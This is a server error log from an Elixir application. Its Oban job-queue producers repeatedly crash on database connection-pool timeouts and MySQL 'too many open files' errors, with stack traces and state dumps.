State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:47:12.240731Z], limit: 50, uuid: "8dea566b-24b1-478c-8b6f-e4bb0dd0db7f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:12.240737Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.216738>, refresh_timer: #Reference<0.2525715032.1077411843.216729>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:47:12.240968Z], limit: 3, uuid: "5cd154b7-e8f8-4d51-be72-8fca5902ff62", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:12.240974Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.93195>, refresh_timer: #Reference<0.2525715032.1099169794.244066>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:24.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:47:12.241597Z], limit: 10, uuid: "4aae5a33-072a-4e32-a436-80d0e1de9e60", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:12.241603Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.93193>, refresh_timer: #Reference<0.2525715032.1121189889.93185>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:27.303000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:27.656000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:29.078000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:31.329000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:31.970000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 887ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:47:24.241550Z], limit: 5, uuid: "34b70adb-3db5-4920-894e-c360253cfac1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:24.241556Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.235709>, refresh_timer: #Reference<0.2525715032.1068236804.235688>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:47:24.241649Z], limit: 50, uuid: "40706ef3-48da-4c5f-8962-f4261de6289a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:24.241655Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.217024>, refresh_timer: #Reference<0.2525715032.1077411843.216995>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:47:24.239307Z], limit: 20, uuid: "4894ac4b-ec9a-4c5c-b2fa-0149554cc146", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:24.239314Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.244155>, refresh_timer: #Reference<0.2525715032.1099169794.244127>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1077ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:47:24.242691Z], limit: 3, uuid: "dd03b180-8efa-4c33-a495-196ef71fbaef", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:24.242697Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.93517>, refresh_timer: #Reference<0.2525715032.1121189889.93506>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:47:24.241911Z], limit: 5, uuid: "0a448590-759c-41c2-98e6-a6b10c1204a5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:24.241916Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.235708>, refresh_timer: #Reference<0.2525715032.1068236804.235704>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:36.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:47:24.243332Z], limit: 10, uuid: "ad06d796-4cc9-421f-9a84-4890a2ac925b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:24.243337Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.217023>, refresh_timer: #Reference<0.2525715032.1077411843.217020>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:37.153000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:41.073000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:43.934000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:45.592000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:47.945000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
